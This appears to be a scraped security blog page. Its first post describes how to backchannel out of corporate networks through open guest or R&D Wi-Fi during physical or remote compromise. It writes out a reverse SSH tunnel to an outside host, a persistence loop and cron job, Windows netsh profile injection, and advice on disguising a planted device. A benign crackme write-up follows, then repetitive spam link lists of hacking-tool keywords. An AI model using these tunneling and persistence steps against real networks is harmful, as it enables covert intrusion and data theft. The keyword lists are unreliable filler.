Mga Pahina

Sunday, August 30, 2020

Backchannel Data Exfiltration Via Guest/R&D Wi-Fi


Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.

What about using OpenWifi as a backchannel data exfiltration medium?

An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.




Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor)
The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".

By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.

You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.

Connect to wifi:
ifconfig wlan0 up
iwconfig wlan0 essid [targetNetworkSSID]
dhclient wlan0

Run a reverse SSH tunnel:
ssh -R 3000:127.0.0.1:22 root@remoteHost.com

On the remote host you can retrieve your shell:
ssh -p 3000 User@localhost

Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:

Your bash script: 
#---------------------
#!/bin/bash
while true
do
 ssh -R 3000:127.0.0.1:22 root@remoteHost.com
 sleep 10
done
#---------------------

Run this with nohup like this:
nohup ./shell.sh &


Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:

Cron job for every 5 minutes: 
*/5 * * * * /shell.sh



Scenario 2: (Remote Windows Compromise)
The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line.
http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf

Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.

Profile Victim machine and extract a wireless profile: 
netsh wlan show interfaces
netsh wlan show networks mode=bssid
netsh wlan show profiles
netsh wlan export profile name="CorpNetwork"

Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.

Upload a new profile and connect to the network: 
netsh wlan add profile filename="R&D.xml"
netsh wlan show profiles
netsh wlan connect name="R&D"

If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.

I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.

Continue reading


Saturday, August 29, 2020

inBINcible Writeup - Golang Binary Reversing

This file is an 32bits elf binary, compiled from go language (i guess ... coded by @nibble_ds ;)
The binary has some debugging symbols, which is very helpful to locate the functions and api calls.

GO source functions:
-  main.main
-  main.function.001

If the binary is executed with no params, it prints "Nope!", the bad guy message.

~/ncn$ ./inbincible 
Nope!

Decompiling the main.main function I saw two things:

1. The Argument validation: Only one 16 bytes long argument is needed, otherwise the execution is finished.

2. The key IF, the decision to dexor and print byte by byte the "Nope!" string OR dexor and print "Yeah!"


The incoming channel will determine the final message.


Dexor and print each byte of the "Nope!" message.


This IF, checks 16 times if the go channel reception value is 0x01, in this case the app show the "Yeah!" message.

Go channels are a kind of thread-safe queue, a channel_send is like a push, and channel_receive is like a pop.

If we fake this IF the 16 times, we got the "Yeah!" message:

(gdb) b *0x8049118
(gdb) commands
>set {char *}0xf7edeef3 = 0x01
>c
>end

(gdb) r 1234567890123456
tarting program: /home/sha0/ncn/inbincible 1234567890123456
...
Yeah!


Ok, but the problem is not in main.main, is main.function.001 who must sent the 0x01 via channel.
This function xors byte by byte the input "1234567890123456" with a byte array xor key, and is compared with another byte array.

=> 0x8049456:       xor    %ebp,%ecx
This xor,  encode the argument with a key byte by byte

The xor key can be dumped from memory but I prefer to use this macro:

(gdb) b *0x8049456
(gdb) commands
>i r  ecx
>c
>end
(gdb) c

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx            0x12 18

The result of the xor will compared with another array byte,  each byte matched, a 0x01 will be sent.

The cmp of the xored argument byte,
will determine if the channel send 0 or 1


(gdb) b *0x0804946a
(gdb) commands
>i r al
>c
>end

At this point we have the byte array used to xor the argument, and the byte array to be compared with, if we provide an input that xored with the first byte array gets the second byte array, the code will send 0x01 by the channel the 16 times.


Now web have:

xorKey=[0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12]

mustGive=[0x55,0x75,0x44,0xb6,0x0b,0x33,0x06,0x03,0xe9,0x02,0x60,0x71,0x47,0xb2,0x44,0x33]


Xor is reversible, then we can get the input needed to dexor to the expected values in order to send 0x1 bytes through the go channel.

>>> x=''
>>> for i in range(len(xorKey)):
...     x+= chr(xorKey[i] ^ mustGive[i])
... 
>>> print x

G0w1n!C0ngr4t5!!


And that's the key :) let's try it:

~/ncn$ ./inbincible 'G0w1n!C0ngr4t5!!'
Yeah!

Got it!! thanx @nibble_ds for this funny crackme, programmed in the great go language. I'm also a golang lover.


Related links

  1. Hacker Techniques Tools And Incident Handling
  2. Termux Hacking Tools 2019
  3. Beginner Hacker Tools
  4. World No 1 Hacker Software
  5. Pentest Tools For Ubuntu
  6. Pentest Tools Github
  7. Underground Hacker Sites
  8. Hacking Tools Kit
  9. Underground Hacker Sites
  10. Hacking Tools Kit
  11. Pentest Tools Website Vulnerability
  12. Hacking Tools For Beginners
  13. Pentest Tools
  14. Hacking Tools
  15. Hacking Tools Windows
  16. Install Pentest Tools Ubuntu
  17. Hack Tools For Mac
  18. Hack Website Online Tool
  19. Hacking Tools Name
  20. Hacker Tools Apk
  21. Pentest Automation Tools
  22. Pentest Tools For Windows
  23. Install Pentest Tools Ubuntu
  24. Pentest Tools Github
  25. Hacker Tools Free Download
  26. Hacking Tools Hardware
  27. Hacker Tools Apk Download
  28. What Are Hacking Tools
  29. Hacker Tools Github
  30. Termux Hacking Tools 2019
  31. Hacker Tools Apk Download
  32. Hacker Tools Hardware
  33. Tools Used For Hacking
  34. Hack Tools Mac
  35. Hacking Tools Github
  36. Hacker Techniques Tools And Incident Handling
  37. Pentest Tools Bluekeep
  38. Pentest Tools Bluekeep
  39. Hacker Tools 2020
  40. Pentest Tools Free
  41. Pentest Tools Port Scanner
  42. Pentest Recon Tools
  43. Hacking App
  44. Hacking Tools 2020
  45. Hack Tools For Ubuntu
  46. Hack Apps
  47. Hacker Tools Hardware
  48. Hacker Security Tools
  49. Pentest Tools Framework
  50. What Is Hacking Tools
  51. Top Pentest Tools
  52. Pentest Tools Linux
  53. Hack Website Online Tool
  54. Hacking Tools Free Download
  55. Hacking Tools For Windows
  56. Hack Tools For Ubuntu
  57. Hack Tool Apk
  58. Hacking Tools Windows 10
  59. Best Hacking Tools 2020
  60. Hacking Tools For Games
  61. Hack App
  62. Pentest Tools Subdomain
  63. Hacking Tools Hardware
  64. Pentest Tools Free
  65. Hack Tools
  66. Pentest Tools For Ubuntu
  67. Pentest Tools Online
  68. Pentest Tools Github
  69. Hacking Tools For Windows Free Download
  70. Hacker Search Tools
  71. Pentest Tools Kali Linux
  72. Pentest Tools Url Fuzzer
  73. Pentest Tools For Mac
  74. Hack Tools For Pc
  75. Hack Tool Apk
  76. Hacking Tools Name
  77. Black Hat Hacker Tools
  78. What Is Hacking Tools
  79. Hack And Tools
  80. Hacker Tools For Windows
  81. Hack Tools For Pc
  82. Hacker Tools For Windows
  83. Hackers Toolbox
  84. Pentest Automation Tools
  85. Pentest Tools For Mac
  86. Pentest Tools Find Subdomains
  87. Hacker Security Tools
  88. Tools Used For Hacking
  89. Github Hacking Tools
  90. Hacking Tools For Windows Free Download
  91. Pentest Tools Github
  92. Hack Tools For Mac
  93. Hack App
  94. Pentest Tools Open Source
  95. Hacking Tools Github

Zirikatu Tool - Fud Payload Generator Script

Read more
  1. Top Pentest Tools
  2. Hacker Hardware Tools
  3. Hack Tools Mac
  4. Hack Apps
  5. Hacking Tools Software
  6. Hack Tool Apk No Root
  7. Hacker Tools List
  8. Hack Tools For Mac
  9. Hacker Security Tools
  10. Hacking Tools Windows 10
  11. How To Hack
  12. Best Hacking Tools 2020
  13. Black Hat Hacker Tools
  14. Hacking Tools Windows 10
  15. Hacking Tools Usb
  16. Hacking Tools For Beginners
  17. Pentest Tools Alternative
  18. Bluetooth Hacking Tools Kali
  19. Pentest Tools Port Scanner
  20. Hacking Tools Download
  21. Android Hack Tools Github
  22. Hacking Tools For Kali Linux
  23. Hacking Tools For Games
  24. Hack Tools
  25. Beginner Hacker Tools
  26. Hacking Tools For Beginners
  27. Install Pentest Tools Ubuntu
  28. Best Hacking Tools 2019
  29. Hacker Tools Hardware
  30. Hacker Tool Kit
  31. Hacking Tools 2020
  32. Hacker Tools Software
  33. Hacker
  34. How To Hack
  35. Nsa Hacker Tools
  36. Hacker Hardware Tools
  37. Hack Apps
  38. Hacker Search Tools
  39. Pentest Tools For Windows
  40. Hacker Tools Free
  41. Hacker Tools 2019
  42. Hacking Tools For Mac
  43. Pentest Tools Port Scanner
  44. Pentest Tools Framework
  45. Underground Hacker Sites
  46. Hack Tools
  47. Hack Tools For Windows
  48. Hack Rom Tools
  49. Bluetooth Hacking Tools Kali
  50. Hack Tool Apk
  51. Tools For Hacker
  52. Hack Tools For Ubuntu
  53. Hacker Tools Software
  54. Hacking Tools And Software
  55. Pentest Tools For Android
  56. Hacking App
  57. Pentest Tools Github
  58. Hacker Tools 2019
  59. Best Hacking Tools 2019
  60. Pentest Tools Alternative
  61. Pentest Tools
  62. Pentest Tools For Windows
  63. Hacker Tools Linux
  64. Pentest Tools Website
  65. Hack Tools For Windows
  66. Hacking Tools For Games
  67. Hacking Tools Windows 10
  68. Hacker Tools Online
  69. Hacker Tools Windows
  70. Hacking Tools Hardware
  71. Black Hat Hacker Tools
  72. Hack Tools For Ubuntu
  73. Hacking Tools For Windows
  74. Pentest Tools Port Scanner
  75. Hacking Tools Mac
  76. Pentest Tools Online
  77. World No 1 Hacker Software
  78. Hacker Tools Free Download
  79. Hacker Tools Software
  80. Top Pentest Tools
  81. Pentest Tools Android
  82. Tools For Hacker
  83. Hacker Tools 2020
  84. Hack Tools Online
  85. Hacking Tools Windows
  86. Pentest Tools Free
  87. Pentest Tools Nmap
  88. Hacking Tools For Mac
  89. Pentest Tools For Mac
  90. Hacker Tools 2020
  91. Pentest Automation Tools
  92. Pentest Tools Alternative
  93. Hacking Tools 2020
  94. Hacking Tools Github
  95. Hacking Tools Download
  96. Hack Tools 2019
  97. Hack Tools Download
  98. Black Hat Hacker Tools
  99. Hack Tools Github
  100. Hacker Tools Hardware
  101. Hacker Tools 2020
  102. Physical Pentest Tools
  103. Hack And Tools
  104. Hacking Tools For Kali Linux
  105. Pentest Tools Find Subdomains
  106. Wifi Hacker Tools For Windows

Airpwn: A Wireless Packet Injector


"Airpwn is a framework for 802.11 (wireless) packet injection. Airpwn listens to incoming wireless packets, and if the data matches a pattern specified in the config files, custom content is injected "spoofed" from the wireless access point. From the perspective of the wireless client, airpwn becomes the server." read more...


Website: http://airpwn.sourceforge.net

More info